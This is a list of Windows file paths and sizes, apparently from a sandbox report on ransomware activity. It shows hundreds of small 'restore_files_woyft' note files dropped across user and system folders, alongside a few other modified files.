%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.txt (2 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (9284 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
C:\totalcmd\SIZE!.TXT (1606 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.html (5 bytes)
C:\totalcmd\HISTORY.TXT (3890 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.txt (2 bytes)
C:\totalcmd\DEFAULT.BAR (2816 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.html (5 bytes)
%System%\config\software (2547 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\brndlog.txt (1116 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\Beethoven's Symphony No. 9 (Scherzo).wma (6148 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\New Stories (Highway Blues).wma (7698 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bostonhygiene[1].txt (178 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.txt (2 bytes)
